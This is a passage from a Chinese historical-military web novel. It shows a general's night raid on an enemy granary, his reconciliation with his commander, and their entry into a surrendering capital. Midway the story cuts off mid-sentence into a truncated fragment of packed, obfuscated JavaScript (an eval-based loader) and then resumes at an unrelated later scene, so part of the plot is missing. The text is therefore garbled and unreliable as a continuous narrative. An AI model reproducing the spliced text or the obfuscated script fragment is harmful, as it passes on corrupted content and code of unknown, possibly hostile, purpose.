便在这个时候,看门口人影一闪,石梦泉走了进来。他一摆手,让大家不用多礼,自走到桌前拿起出纳纪录看了看,锁起了眉头。这几个负责粮草的士兵早在瑞津就是看守军需仓库的。石梦泉当日临去,让大家清点物资誊抄纪录,把刘子飞和吕异气得直瞪眼,战士们心里别提有多解气了。在他们的眼里,这位年轻的将军是一位办事果断,而且每一个行动都经过深思熟虑的人,如今他也眉头深蹙,可见事态之严重。 “玉将军怜惜难民,有眼的人都看到。”一个士兵道,“我们见到这些老百姓,也就好像见到家乡的父老乡亲遭了灾一样,恨不得有一个馒头也和他们分着吃。只是,我们是兵队,不是善堂。这样一路派下去,兄弟们都要饿死啦——况且,我们一路救,郑国那些没胆的龟儿子一路烧,我们怎么赶得上他们?” 石梦泉点了点头:“所以我们不能只跟在后面救。我要去做一件事,你们可愿跟着我么?” 这些负责看守物资的士兵不到迫不得已是不去冲锋陷阵的,也很少有特别的任务派给他们,想要建功几乎不可能。听石梦泉这样一说,几个人都兴奋了起来:“将军要我们去做什么?” 石梦泉道:“你们即刻去找自己熟识的兄弟,让他们也各自去找相识的士兵,立刻到这里来见我。记住,千万不要从同一支队伍里找,越分散越好。大概总共要一百人上下。” 士兵们都觉得奇怪:“将军要我们执行什么任务?直接调一队人马岂不便宜?” 石梦泉道:“这是机密任务,动静越小越好,我不想人察觉我在调动兵马——你们把人集合来了,我自然告诉你们。” 这军队中除了玉旒云,他就是最高指挥官——况且他又是玉旒云的心腹,按照他说的去做,总不会犯大错。于是几个士兵就立刻分头找人。大概过了一顿饭的光景,就集合了一百三十来个人。 石梦泉便吩咐这些士兵以十人为一队,装作巡逻的样子开始朝城东门去,到大青河的码头再集合成一整支队伍。士兵们依命而行,到码头上看时,见有许多渔船——想来郑军烧毁城池,百姓纷纷逃难,这些船都是无主之物。石梦泉选择了其中十五条看来还比较结实的,让士兵们七人一艘,不掌灯火,静静地顺流朝下游去。众士兵看他至今仍不肯说出此行的目的,也就不问,跟着他的船在黑暗中幽灵似的的航行。 这时已是阳春三月,大青河水相当丰沛,比起玉、石去年冬天逆流而上,此际的船速不知快了多少倍。约摸到了二更天,石梦泉的船开始靠岸,士兵们也就一个跟着一个,同他上了河滩。 待大家整队完毕,石梦泉才说道:“前面不远就是郑国的汇昌城,我想现在郑军还没有将此城烧毁。我们要趁着他们疏于防范,一举拿下此城来,截住他们来不及运走的粮食。” 原来如此!士兵们想,难怪他开头说“不能只跟在后面救”,原是打算化被动为主动,打乱郑军的计划——怪道石梦泉不调动整支队伍,又要偷偷摸摸黑灯瞎火地从水路来,为的是让郑军以为樾军还被困在黎茳饿肚子,实际出其不意,攻其不备,直接打下下游的城池来,彻底粉碎郑军的焦土阴谋! “将军怎么确定他们还没有把城烧毁呢?”有士兵问道,“万一他们已经烧了,我们岂不是白跑一趟?” “应该没有。”石梦泉也是依靠估计。他分析,刘子飞从北线率领前锋营和骁骑营两部最骁勇善战的兵士发动攻击,并且攻破了险关龙牙关,郑国原本割据的诸侯们也理会得“覆巢之下安有完卵”,因此上将南方兵力调往北方增援,又想用焦土战术牵制住南线的樾军。不过,他们自己在北线需要大量的物资。这次部队调动突然,无法按照“兵马未动,粮草先行”的惯例来办事,只有一边行军北上,一边将南方驻地所有可能运走的物资带出城——实在带不走的,才烧毁。看归平和黎茳两地,初初侦察兵去查探时,都没见烧城,几乎是等樾军来到城外了,才发生火灾。可见,郑军留下来负责运送物资的军士是要挨到最后一刻的。由此看来,按照郑军的估计,樾军还要有好几天才会来到汇昌,故而他们这光景应该是在全力搜刮城中所有粮食。 他简短地给士兵们解释了一下,接着又道:“万一我分析有误,现在船速如此快,赶到下一个城也不过就是后半夜的事。我们一定不会空手而回的!” 大家虽然不及他心思缜密,头脑灵活,有的人一时间还领会不出他的计划是何根据,不过,战士们对他都是全然信任的,于是无不摩拳擦掌,兴奋难耐。然而看看身边的战友:有的是看守军需库的,有的是分管炊事的,还有的是照料马匹的,只有少数几个有和敌人近身作战的经验。不由得心里又打起了鼓:“将军,就凭我们这些人,攻打汇昌城,行么?” 石梦泉和玉旒云早有攻打郑国的计划,所以他们去年乘船经过郑国领土时,一直留心观察沿途的山川地势。郑国东部地势平坦,虽然靖杨等县城比较低洼,仿佛盆地,乃是因为大青河泥沙沉积,河床抬高所致,并不像西瑶的盆地为群山环抱而成。所以,整个郑国东部沿河地带,几乎不可能据险以守。只有依靠重兵。现在既然守军都开赴北线战场,这些城池当然不堪一击了。他当下笑了笑,道:“不用担心,我看拿下此城犹如探囊取物。你们且跟着我来——从河堤上翻过去。” 大家顺着河朝东走了一里多地,仰头朝河堤上望,可以看到城墙黑黢黢的影子。因为城池低于水面,所以露在河堤外的只有城楼的箭垛而已。石梦泉朝士兵们挥了挥手,众人就猫着腰爬上河堤的斜坡。 城楼上有火把照明,大家把脚下的路看得分明,动作十分迅速——尤其是想到既然有火把插着,就证明此间还不曾人去城空,所以心中愈加兴奋。只一晃眼的功夫,一百三十多名士兵已经来到了堤顶。石梦泉亲自从箭眼中望了望,只见城上这个方向连一个守卫的士兵也没有。他一招手,士兵们便跟着他一个接一个翻上了城楼。 他们几乎大摇大摆地从台阶走下了城,没有遇到任何的阻滞。只走上了城下的一条干道时,才碰上了三个郑国士兵。当头的一个被石梦泉一掌打晕,另两个吓得连呼叫都忘记了,旁边的樾军士兵箭步抢上,将他们拿下。 “你们留守在城里的还有多少人?”石梦泉问。 “只……只有两百人……”俘虏不敢撒谎。 那么双方可算是势均力敌的——其实樾军是突袭,又是百多人聚集一处,可将分散的敌人一一击破,还占了优势呢。原本心中还有些发慌的士兵都自信了起来。 “我来问你,”石梦泉指着其中一个俘虏的咽喉,“你们还有多少粮草,都收藏在何处?你要老实回答。我军虽然优待俘虏,不过对于不识抬举撒谎欺瞒的敌人,可绝不客气!” 那人吓得只会点头,竟忘记怎么说话了。他的同伴连忙道:“都……运走啦……还剩几百石……在县衙门里放着。小人这就带你们去。”说着,就抖抖索索地用下巴指了指方向。 “好!”石梦泉叫人把先前打晕的那个敌人五花大绑塞到僻巷里,亲自押着领路人朝县衙门去。一路上他们看到家家门窗紧合,里面透出微弱的灯光,显然老百姓还不知道本国的军队撤退后他们将遭灭顶之灾,所以天真的想用一扇门将乱世挡在外面。也正是因为四处都门户紧闭,并没有人觉察到樾军的到来。 大概走了一顿饭的功夫,众人来到了汇昌县衙门口。那领路的道:“粮食就在院子里堆着,不过小推车没有放在这里,恐怕只能自己动手抬。” 樾军众士兵们想,这里离开码头虽然不算太远,可背着恁重的粮食,万一遇上敌人就没法自卫。有人便道:“车子在哪里,你领我们推去。” 那领路的道:“好。不过衙门里面黑得很——粮仓重地,严禁烟火嘛。恐怕找去后院还有些困难。我先领你们进去,把粮食搬到外面放着,再去推车来装运不迟。” 众人听他说得也有道理,于是就要跟着他一齐进衙门去。然而石梦泉却道:“等等——你们不要跟着进来。我先去看看。”说时推了推那领路的,叫他赶紧走。 “将军,”士兵们不放心,“你一个人进去,碰上卫兵,怎么对付?” 石梦泉道:“区区几个卫兵倒还难不住我。万一真有什么事,你们在外面也好有照应。” “里面没有卫兵”那领路的道,“县太爷全家都搬走了,我们人手有限,没人守卫这里,就只依靠巡逻的。” “不必罗唣。”石梦泉道,“进去!” 领路的嘀咕:“这还不相信?白白浪费时间!”就推开了衙门的大门。 石梦泉同他跨到了门内,果然如他所言,里面黑灯瞎火。这夜还是个阴天,连月色星光都很微弱。过了好一会儿,才模糊地辨出庭院和回廊。领路的前面带路,走过一闪小门来到后院,才道:“左边墙较有一个小灯笼,我点起来,给你指指堆粮食的地方。” 石梦泉准了,这人就擦亮了火折子,果真点起灯笼来,并借着光一指。石梦泉顺着望去,并不见装粮食的麻包,只看到好些木箱木桶。他眉头微微一蹙,余光瞥见那领路的郑兵两手一抡,将灯笼朝木箱上掷了过去。 “哼!”石梦泉轻轻冷笑了一声,点地纵起,轻描淡写地就将灯笼抓了回来。同时另一手捏住了领路人的肩胛骨:“那不是粮食吧?是你们准备烧城用的火油火药,是也不是?” 那人肩头的剧痛,额头上渗出米粒大小的汗珠。 石梦泉道:“粮仓重地,怎么可能没人看守?一到门口我就知道有诈了。” 见计谋败露,这人咬着嘴唇,不回答。石梦泉便捏着他的肩膀,几乎是将他拎出了大门。樾军众士兵不明就里,见到将军提着俘虏出来都很奇怪。而另外一个俘虏显然是早就猜出了同伴的用意,看这情形,知道事情不成,两腿一软就往地上赖:“饶命!我带你们去粮仓。决不敢再说假话了!” 石梦泉冷笑了一声:“你如今让我知道了火药的所在,也不算是一件坏事——”他命令当先的两个樾军士兵:“你们到后院去,把火药箱子统统浇上水,再挖一个坑,把火油到进去。其他人跟我去找粮食。” 士兵依命而行。而这次带路的俘虏也不敢再玩花样,乖乖地将众人领到了一处诺大的仓库跟前。“这是西瑶泰和商号的货舱,”俘虏道,“不知什么原因,商号突然撤庄了,正好被我们征用。” 泰和商号!石梦泉真没想到竟然在郑国也有。本来这商号就是以做生意为掩护,替赵王爷办事的,如今他们已经暴露,迅速抽身也是意料之中。 他借着黑暗的掩护,从巷子口看了看仓库门前的情形——和方才县衙门那里完全不同,这里二十多名士兵在站岗,正面墙上一溜火把,照得通明。“你说汇昌城中有两百名守军,”他问那带路的俘虏,“有多少人在这里?还有其他的人又各自守卫在何处?” 这人再不敢欺瞒:“两百人中有一百五十人都是负责这里的。分成三班,每班五十人,四个时辰换一班。这时候离交班大概……大概总还有一个时辰。” “还有五十人都是巡逻的?”石梦泉问。 那人点点头。 这可真是天助我也!石梦泉想,两百人被分散,在这里要对付的只是五十人而已——而且看来他们有的守正门,有的守后门,若从正门强攻进去,就只需要打倒这二十人。现在我方在人数尚有压倒性优势——离开交班又有很长一段时间,只要速战速决,必然可以将全部敌人各个击破! 于是他点了十名樾军士兵——这都是他事先了解过,曾经有过实战经验的人——吩咐他们转过旁边的巷子去,吸引正门守军的注意,然后又交待其他人,只要敌人一上当,立刻冲上去全数消灭。 众人领命而行。没过多大功夫,就见仓库正门前的士兵有了骚动,有一些离开了自己的岗位走到街口去看动静。石梦泉看准这个时机,令道:“上!”自己率先冲出了小巷。 那边守卫的郑国士兵本来只注意到街道尽头可疑的黑影,却突然听到了身边的动静,才一愣,已经被石梦泉一拳打在了鼻梁上。他没的两眼直冒金星,还不及站稳身子,手中的佩刀已经被抢了过去。跟着,哼也没哼出一声,咽喉便被割断。郑军士兵看到这几乎从天而降的敌人,又有这么干净利落的杀人手法,不由大惊失色。而本来没什么战斗经验的樾军士兵们却大为振奋,各自拔出腰刀冲上前去。百多人像潮水一样,顷刻将敌人淹没。只一眨眼的时间,正门口的守卫就全都被消灭。 石梦泉却不叫他们进仓库去搬粮食——其余的郑军随时可能会来到,这时候惟有打歼灭战,彻底把敌人消灭,才能够放心的做其他事。为了确保每一场战斗都以绝对多数取胜,他需要集结最强的战斗力量,所以宁可多花些时间,多走些冤枉路,也不能让队伍分散开。因此,招回先前诱敌的士兵,整队人一齐迅速穿过仓库,扑向后门。大概一盏茶的功夫,这一班五十个守卫就全部被歼灭。石梦泉命大家转回仓库中,以逸待劳地等着下一班敌人来到。 然而他们一进仓库,就发现有好些人影穿梭不定,起先还以为是漏网的郑军,细看之下才发现是些周遭的小民正拿着麻袋端着锅趁乱哄抢粮食,看来郑军的这些粮食也是从百姓家里搜刮来的。有士兵当即要上前去阻止。石梦泉拦下了,道:“反正我们要这粮食也是为了救济百姓,既然他们需要就让他们拿些,省得做那拆东墙补西墙的事。” 士兵听他如此说,只好退开。不过百姓早也发现了他们,吓得纷纷调头逃窜,眨眼的工夫就全都不见了。石梦泉摇了摇头,自吩咐士兵们在仓库内埋伏,准备下一场战斗。 可命令才下完,却突然听到仓库外响起了几声惨叫。众人不由都奇怪:我们的人都在这儿了,那边厢怎么又打起来?他们不敢大意,就倚着院墙阴影的掩护到前门看个究竟。只见一队郑兵已经来到了仓库跟前,为首的那个正破口大骂:“他娘的这些不要命的小民,简直反了,竟敢聚众抢劫军粮——他们肯定不止这几个人,你们立刻四周搜搜,统统抓出来杀掉!” 原来郑军以为是周围的百姓为偷粮食而杀了守卫。石梦泉默默地点算敌人的数量——只有二十人,看来是巡逻的,而换班的还在后面。此时不出手,又待何时?他打了个手势,示意身边的几个兵士立刻从大门的左边跑去右边。这时院外虽然明亮,仓库里的光线却相当昏暗,从门外朝里望,只能看到运动的黑影,根本分不清是兵士还是百姓。巡逻的郑军果然上当,二十人一齐冲进仓库,樾军埋伏在大门附近就像口袋一般,此时一收紧,立刻就把这二十人消灭了。 樾军的军心更加振奋。到目前为止,一切都按照石梦泉的计划完美地进行着。他们想,大约过不了多久,就可以顺利地消灭剩下的郑军,既得了粮食,又占领了汇昌。不过,他们在仓库院中埋伏等待了许久,已经过了换岗的时间了,也不见其他郑军士兵来到。 “将军,也许情况有变?”士兵建议道,“我们要不要主动出击?” 现在深入敌营,根本不知道对手在何处,如何主动出击?石梦泉且想着,忽看到西边天空亮了起来,仿佛是着了火。他心中不禁一骇:难道郑军还是洞悉了我军行动,所以豁出去提前把汇昌城烧毁? 如果现在迅速撤退,他和士兵们当然不至于葬身火海,可辛苦找到了粮食就要毁于一旦,汇昌城里的百姓也都要遭灭顶之灾——那么,他此次行动非但一事无成,还要害人无数了! 再仔细观察西边的动静,隐隐听到了扰攘骚乱之声,火势却不见朝这边蔓延。周围的百姓已然被惊动,有不少人开门出来看个究竟,还有些人则偕老扶幼离家逃亡。樾军士兵纷纷望向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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士兵们只道石梦泉南下夺粮的计划她是知道的,误以为她这一问是叫大家汇报一路上的情况,就七嘴八舌地说了一番。玉旒云越听就越惊讶,两眼直直地盯着石梦泉。石梦泉原本是不想再和她起争执,才私自做出了这样的决定,又特地招募些不会引人注目的士兵来执行任务,本打算事成之后再和玉旒云说,不料这时与她撞上。见到她看自己的眼神满是惊诧和质疑,简直不知要从何解释才好。 终于,士兵们都说完了。玉旒云才把目光从石梦泉身上移开,问道:“这么说粮食都在里面了?那几个郑军的胆小鬼倒没有骗我们——走,看看去!”说着,翻身下马,大步走进仓库,经过石梦泉身边的时候,连看也没有看他一眼。石梦泉心中一疼,立刻紧紧地跟了上去——无论如何,他得向她解释清楚。 只是玉旒云走得很快,简直像是在和谁比赛脚力似的,石梦泉始终追不上她,跟班的兵丁们更加远远地被甩在了后面。直冲到还未搬完的粮食跟前,她才停下了脚步——动作是那样的突兀,石梦泉险些和她撞上。“大人……” “全都在这里?”玉旒云不给他说话的机会,抢先提问。 “还有在地窖里,”石梦泉道,“大人,我……” “地窖又在哪里?”玉旒云再次打断他。 “这边——”石梦泉不得不带路。但这个时候士兵们也追上来了,玉旒云就招呼他们:“走,一起看看去!” 她跟大家一起来到地窖中,细问到底缴获了多少粮食,又征求众人的意见要运多少粮食回去给藜茳的饥民,又留多少以待大军行进到此再用做军粮,若要运粮,船只航速能有几何……很多问题根本就没有必要在此议论,而且也论不出个结果,可她却仿佛很在乎其答案似的,非要问个清楚明白——偏偏对于石梦泉的冒险行动,她只字不提。 越是这样,石梦泉越是觉得难受。 终于等到把一切关于粮食处置的问题都议论完了,士兵们按照命令要将其中一部分粮食分给汇昌百姓以示安抚,因各自去办,玉旒云也要离开地窖,石梦泉才终于得着机会一步抢上前去:“大人,这件事其实……是我自作主张,要怪罪就怪罪我一个人,与其他的士兵没有关系。” “怎么?”玉旒云道,“你怕我像对待军医、医士那样,把他们都斩了?”不待石梦泉回答,她已笑了起来:“你们夺来了粮食,立了大功一件,我怎么会怪罪你们?再说,你自己也是将军,比起我这个领侍卫内大臣,你的号令更加名正言顺。你如此计划、如此行事,怎么是自作主张呢?还有,你说我到这里来干什么?不也是来找粮食么?我们俩始终还是想到一起了。”说着,她拍了拍石梦泉的胳膊:“走,办正事去!” 有一刹那,石梦泉迷惑了,好像他们两人真的回到了从前一样。可是他心中又有一根刺在不断地戳着他——玉旒云那些细微的动作,那些叫人难以察觉的表情……一切都告诉他,这是错觉。 他顾不得许多,一个箭步抢上前去,拦住了玉旒云的去路:“大人,我们不要再这样下去了!我们不要装做什么也没发生过!你心里有什么话,就说出来。当是我求你——” 玉旒云怔怔地看着他,脸上的笑容渐渐消失。“有什么好说的?”她嘟囔了一句,“本来就什么也没有发生过嘛。” “有!”石梦泉决不想再这样蒙混过去。早在水淹靖杨的时候——不,早在吕异被杀的时候,他们就应该把话都摊开来说清楚。不应该让这一点点的疑惑成为今日巨大的隔阂——两个人越是彼此信任,就越是容不得一点怀疑。一枚铜钱是那样的小,可是放在离灯火很近的地方就会投射出巨大的阴影。“大人!”他注视着玉旒云,“你如果想问我为什么这次会自作主张——” “我不想问。”玉旒云有些恼火地,“我早就说过了,这次不是你自作主张。况且你本来就有发号施令的权柄。你的决断总不会错,我的决策要不就是不择手段,要不就是滥杀无辜……” “不是这样的。”石梦泉道,“大人一向深谋远虑,又爱民如子,这是大家有目共睹的。我之所以这样私自行动,只是想给大人分忧而已。” “是么?”玉旒云冷笑了起来,“你为我分忧,为什么要做得这样鬼鬼祟祟?我知道你已经不信我了。你是怕我迟早会为了东征而置百姓的死活于不顾,所以你要先来找些粮食,以防将来我有此一手,是不是?” “不是!”石梦泉未料两人间的误会已经到这这步田地,一时竟不知道该说什么好。 玉旒云瞪着他,继而摆了摆手:“算了,我不想跟你吵。我们最近吵得还不够么?我之所以装作什么事都没有,就是不想是兵们看到我们这个样子。我更不想……我不想进了江阳让郭罡这个混账看到……看到他的奸计终于得逞了!”她说到这里,毕竟是情绪有些激动了,迈步朝楼梯上走时差点儿一个踉跄摔倒下去。 石梦泉赶忙伸手扶住她:“大人,郭罡的奸计不会得逞的,绝对不会!” “为什么不会?”玉旒云要甩开他,然而发现他用了十分的力气,自己的手臂竟像是被铁箍锁住一般。“他的奸计难道不是已经得逞了么?你不是一而再再而三地怀疑我么?你不是以后都不在信我了么?” “不,我不会……” “你放开我!”玉旒云涨红了脸,“我不要士兵看到我们这个样子。” “大人……”石梦泉不松手,不论她怎样挣扎,怎样的不冷静,他也要把这句话说出来:“大人,哪怕所有人都不信你,我也不会再怀疑你!” “你放手!你放手!”玉旒云依然挣扎不止,过了一刻,才好像反应了过来:“你……你说什么?你再说一次?” “哪怕所有的人都不信大人,”石梦泉注视着她,“我也永远相信大人。” “真的?”玉旒云面上的红潮消退,眼睛闪出光彩,有一点点的飘忽,因为在等着石梦泉的确认。 石梦泉点了点头:“不过,有些话我却一定要和大人说清楚。请大人一定要据实回答我——当初在富安我就问过大人,只是你没有正面回答我——大人,借刀杀人除掉吕异又想杀死刘子飞,郭罡的这条计策是你首肯的么?你有参与策划么?” 玉旒云愣了愣,沉下脸来:“怎么又说起这个?原来你还是不信我的!” “不是,大人。”石梦泉道,“人要彼此信任,就不能互有隐瞒。不管大人有没有做过,我只是想大人你据实给我一个答案。” 玉旒云咬了咬嘴唇,深吸一口气:“不错,是我首肯的,也是我和郭罡一起计划的。如果我不除掉他们,将来总是我们的麻烦。而他们若有机会对付我,必然也不会手下留情!所以……” 石梦泉轻轻地举起一只手,示意她不必再继续说下去。他眼中并没有一丝谴责,只是深深地凝视着她:“我相信大人一定有你的理由。你不用解释,只要据实回答我‘有’或者‘没有’就可以了——水淹靖杨,郭罡的这一条毒计,大人曾经首肯么?” “没有!”玉旒云立刻否认。本来她已经坐在楼梯上,这时差点儿跳了起来:“我迟早找这个老狐狸算账!” 石梦泉笑了笑,让她不必激动:“我还没有问完——在乾窑,兵士和军医一起豢养毒鼠,这事大人事先知情么?大人曾经想过要用疫病来击败敌人么?” “我一点儿也不知道。”玉旒云道,“当日军医来找我,我将他骂走,他却把那装了老鼠虱子的木箱留下了。正好你来找我,我来不及把箱子处理掉。到后来我赶回去收拾这些毒物,刚好被你撞见……”她顿了一顿——如果是要完全坦白,大概也应该把心中刹那的邪念说出来?只是不知道他听了之后会怎么看自己呢?忐忑不安地,她瞥了一眼石梦泉的脸,只见对方神色坦然,满是鼓励,心中不由一热:在这个世界上,如果不信任他,还能信任谁呢?便欲将一切和盘托出,甚至连那些他没有问的,但长久以来一直埋藏在自己心中的——那些仇恨,那些负担,如果都能一鼓作气地向他倾吐出来,以后就真的坦然相对,而自己也许就不会再这么累了。然而,另一个念头又突然闪过:石梦泉是如此善良的一个人,他也许能够勉强不计较吕异之死,但是真的能够接受这样睚眦必报、不择手段的自己吗?在这个世界上,如果连他都失去,那她岂不是一无所有?只这么一犹豫,所有的话就都噎在了嗓子里。 石梦泉却不知道她刹那心思有这许多变化,只愧疚地微微一笑:“毕竟是我误会大人了,请大人千万见谅。现在问清楚了,好像心里压着的一块大石头被移开了一样。从今往后,我决不再怀疑大人,如有违背……” “哎——”玉旒云不让他发誓,连忙喝止,然而自己却在心中暗暗起誓道:从今往后,我再不可起那些歹毒的念头,做事也不能瞒着他! “我问了大人这么多问题,大人可有什么要问我么?”石梦泉道,“我也一定知无不言,言无不尽。” “有。”玉旒云笑了笑,低头看了看石梦泉那依然紧紧抓着自己的手,“你究竟要这样拉住我到何时?莫非你最近练了什么鹰爪神功之类的,想在我身上试一试?” 石梦泉面上一红,赶紧松开了手:“对不起,刚才一时情急,没有弄伤大人吧?” 玉旒云抚了抚胳膊,的确有些肿痛,不过却笑道:“你怎么老是以为我是纸糊的?” “大人虽然不是纸糊的,但是我的工夫也不是白练的。”石梦泉道,“大人真的没事么?” “才说从今以后都不怀疑我说的话呢!”玉旒云站起身来,举步上楼。 “这怎么同——”石梦泉追上去,“回去后要端木姑娘看看才行。” “你怎么变得像老太婆似的?”玉旒云回过身来盯着他,接着“扑哧”一笑,“其实我真有一句正经的心里话要和你说——你以后如果觉得我有什么做得不对的,一定要立刻直接跟我说。要是我犯糊涂,要即刻骂醒我——” “大人,这……” “你我之间没有什么不能说的话。”玉旒云道,“姐姐虽然只拜托你保护我的安全,但是你也有责任提醒我不要走斜路吧?” 石梦泉一怔:这如何不是最近一直在他心里翻腾的事?他本担心玉旒云心高气傲固执己见,如今得她此言,怎不喜出望外:“是,如果大人有考虑不周的,我一定提醒!” “好,一言为定!”玉旒云朝上走了几步,又停下了,“地窖里好像好又好些酒坛嘛,不知道赵王爷这些年来假装做生意,置办的货色是好是孬——” “大人的意思是……”石梦泉迷惑地望着她的笑脸。 “今天这么高兴,”玉旒云笑道,“不喝一杯怎么行?你去拿来!” 石梦泉一愣,笑道:“是!”找了一坛看来封泥完好的,大步追上玉旒云——当他走出地窖时,发现周围亮得很,原来不知何时,天已破晓。 66. 第 66 章 自樾军夜袭汇昌,郑军的焦土战术就被打乱了。玉旒云和石梦泉都没有调头再回黎茳,只是传令回去,交待卢进等三位督尉留下足够的粮食赈济灾民,然后大军立刻追上来。她和石梦泉就率领区区几百人迅速挥师东进。因为郑军已经将南方的防务基本撤空,留守的士兵一看到樾军来到,立刻就慌了手脚,根本没心思估计对手的实力如何,便丢盔弃甲而逃,结果,玉、石二人几乎兵不血刃就拿下了好几个城镇。也有些郑军士兵颇有骨气,宁死不肯投降,宁愿自己和城池一同毁灭,也不把土地拱手送到敌人手中,便不顾一切要将城池烧毁。只是,他们此举不像归平、黎茳等地充分准备过的,又有火油又有火药,不过是随便点起几把火来,待樾军攻进城去,没花多大力气就扑灭了。百姓本来四散奔逃,然而樾军军纪严明,玉、石二人又将沿途的物资统一调配,及时取富补贫,决不让任何一方的百姓有衣食之忧,因此上占领区总是很快就能安定下来。甚至到后来,樾军“不扰民”之名传扬了出去,有些城池的守军一逃走,百姓就纷纷出来欢迎樾军。如此,三月未过尽,玉、石二人已经来到了江阳城外。遥遥一望,见城池完好,城门紧闭,显然刘子飞还没有攻来。他二人不禁庆幸:经过了如此多的阻滞,竟还是比刘子飞先到达,实在是天意如此。 二人考虑,毕竟江阳是郑国的首都,无论其国家衰亡到什么地步,总会有最后的抵抗,所以应该整顿部队,准备打一场硬仗。因此他们让部队暂时驻扎下来,稍作休息。可是,营地都还没收拾妥当,就见江阳的城门打开了,里面有百多人潮水似的涌了出来。樾军这边当然是一惊,以为要应付一批亡命之徒,连忙戒备。岂料人群分散开来,当中驰出一匹快马,一径飞奔到樾军营前。骑手是郑国士兵的装扮,但是并没有带兵器。人从马上滚下来,就将一个包袱举过头顶:“郑国传国玉玺在此,请惊雷大将军过目。”玉旒云和石梦泉不禁相互望了一眼:啊,原来是来投降的么? 石梦泉生恐有诈,替玉旒云接过包袱来,里面果然是羊脂白玉的“受命于天,既寿永昌”玺印,就道:“你来献玺投降?你们皇帝在何处?怎么不来?” 士兵道:“启禀将军,我国自先帝驾崩之后,王位一直虚悬。二皇子、皇叔,甚至国舅爷都把持过朝政,一时是你,一时是他,走马灯似的换。自从开战后,就更加不晓得谁是正主儿。这半个月来是六公主和驸马临朝。不过,他二人已经被我们禁军兵士杀死。现在只等玉将军入城,就可直接升座太极殿。” 禁军兵变!玉旒云和石梦泉交换了一个眼色,道:“要我升座太极殿?这是你们禁军们自己商议出来的?你们还有那么多皇亲国戚、达官显贵,他们不都盯着太极殿上的龙椅么?几时轮到我去坐?再说你们京城之中这么多百姓,我恐怕还没走到太极殿,已经被他们踩死在路上了吧!” “将军有所不知,”那士兵道,“自从先帝驾崩,我国就已经分崩离析,早没有个国家的样了。开战之后,皇亲国戚、达官显贵也就分成了主战和主降的。这次我们不仅杀死了六公主和驸马,也囚禁了许多主战派的人,现在还留在其位的官员,都是愿意投效将军的。至于城中百姓更不消说——皇叔是现在我国最强的军阀,本来也是最有希望登上帝位之人,但是他为了在南北两线和将军作战,竟然让南线的守军烧毁城镇,使得民不聊生。将军经过这些城镇时,非但不从百姓那里取走一米一粟,还把军粮分给饥民,又替大家修葺房屋,这些早已经流传到京城来了。百姓们都说,与其交苛捐杂税支持皇叔打仗,还不如拥戴玉将军来做皇帝。他们早就等着打开城门迎接将军了。” 如此原委!一路上的种种艰难困苦竟都成了将他们推向胜利的无形之手!玉旒云心中有一种说不出的感觉。朝城门口一望,果然先前跑出来的人大多是平民,已经列队在官道两侧准备欢迎樾军进城了。既没有愧对良心,也没有耽误正事,玉旒云望了望石梦泉,笑了起来:“好,既然如此,我就进城去。不过,太极殿可以免了,我没有兴趣。你身为禁军,应该知道皇宫里的金银财宝都在哪里吧?” 那士兵愣了愣,没想到堂堂惊雷大将军问这样的问题。他还不待想好答案,玉旒云已经吩咐道:“这件事我交给你负责——把宫里所有的金银财宝清点出来,看看一共有多少,然后来向我汇报。如果有任何侵吞隐瞒的,你也只管报给我。” “是……”这士兵别无选择,只有答应。 石梦泉已经传令下去叫士兵们整队进江阳。玉旒云便翻身上马。提起鞭子来,又转身问了一句:“你叫什么名字?” “卑职孙非,”士兵顿首,“是禁军统领。” “好。”玉旒云点了点头,“你还不上马?前面带路!” 玉旒云还是被引到了太极殿,沿途受到了百姓的夹道欢迎。一个国家的百姓竟然对前来占领他们的敌人有如此的热情,石梦泉为自己庆幸,但又为这些亡国的郑人感到悲哀。 到了太极殿之后,已经有不少亲贵官员在等候了,就要把玉旒云往那龙椅上拥。玉旒云一摆手,自在大殿中央站定了,道:“我并不累,就不用坐了。还是办正事要紧。今天这里来的都是哪些官员?” 众人虽是第一次见她,但早听说过许多她的事迹传闻,晓得到了她跟前最好有一答一有二答二,于是逐一自报家门——各部官员从堂官到主簿真是应有尽有。 玉旒云道:“你们过去该怎么办事,如今还怎么办事去。虽然北线硝烟未平,但是我想天下大势已定,在我禀明圣上派来总督之前,你们可以先着手收拾残局——有冤的就去平冤,有灾的就去赈灾——你们迎我进城来,不就是想要天下尽快太平么?” 那些官员们相互望了望,有人道:“玉将军果然英明,吾等……” 玉旒云一挥手:“没用的话可以不要说了,有什么非常紧要一定要请示的现在就问,否则我也有的是工夫要做。” “臣有本……”一个中年文官走出队伍,想了想,既不知自己是不是该对玉旒云称“臣”,又不只该不该用“上奏”,就愣住了。 “说。”玉旒云负着手。 这文官道:“今年正逢会试,本来考期在二月,各地考生也已进京。只是因为战乱的关系一直耽误到现在也不曾举行。不知将军意思如何?” 玉旒云摸了摸下巴:会试由礼部主持,皇帝任命正、副总裁,取中者为贡士。贡士再由皇帝亲自御殿复试、决定取舍、等第,然后释褐授官。如今郑国既没有皇帝,也亡了国,授什么官要由樾国皇帝决定,这考试的确失去了平常的意义。不过,玉旒云想,反正科举就是为了选拔治理国家的人才,用郑人治理郑国岂不便宜?因道:“考。既然人都来了,为什么不考?往年这事是怎么办的,如今还怎么办——你们可以传我的命令下去,一切照常,考试要尽快举行。” “是。”这文官答应着,“不过正、副总裁……上一届是礼部的张大人和刘大人,他们现在都在监牢里。” “为……”玉旒云本要问,不过想起孙非说过那些主战派的人多被关押下监了,便改口道:“如今大局已定,莫非这两个人还如此固执,连对你们郑国学子有益之事也不肯做?就算他们真的如此食古不化,你们朝廷之中难道除了这两个人之外,就没有学识、人品都足以担当此任的大臣吗?” “啊……这……”那文官嗫嚅道,“还是请玉将军来定夺比较妥当。” “混帐!”玉旒云道,“我又不是你们的皇上,我也根本不晓得你们朝中有什么人才,我怎么定夺?在你们的先皇还在世的时候,也不是任何事他都亲力亲为的吧?要什么都靠他,还要你们做什么?我只告诉你,尽快把春闱的事办妥当了,考什么题目,谁来裁判,都不要来问我。我只要看到最后选出来的是有识之士,否则,拿你们是问——可明白了?” “明白了……”不仅是那个文官,其他人也都跟着回答。 “很好,那就不要在这里站着,都做事去。”玉旒云摆手打发他们。正又看到孙非匆匆走进殿来,还带了个太监,就上前问:“叫你清点金银珠宝,已经算好了?” 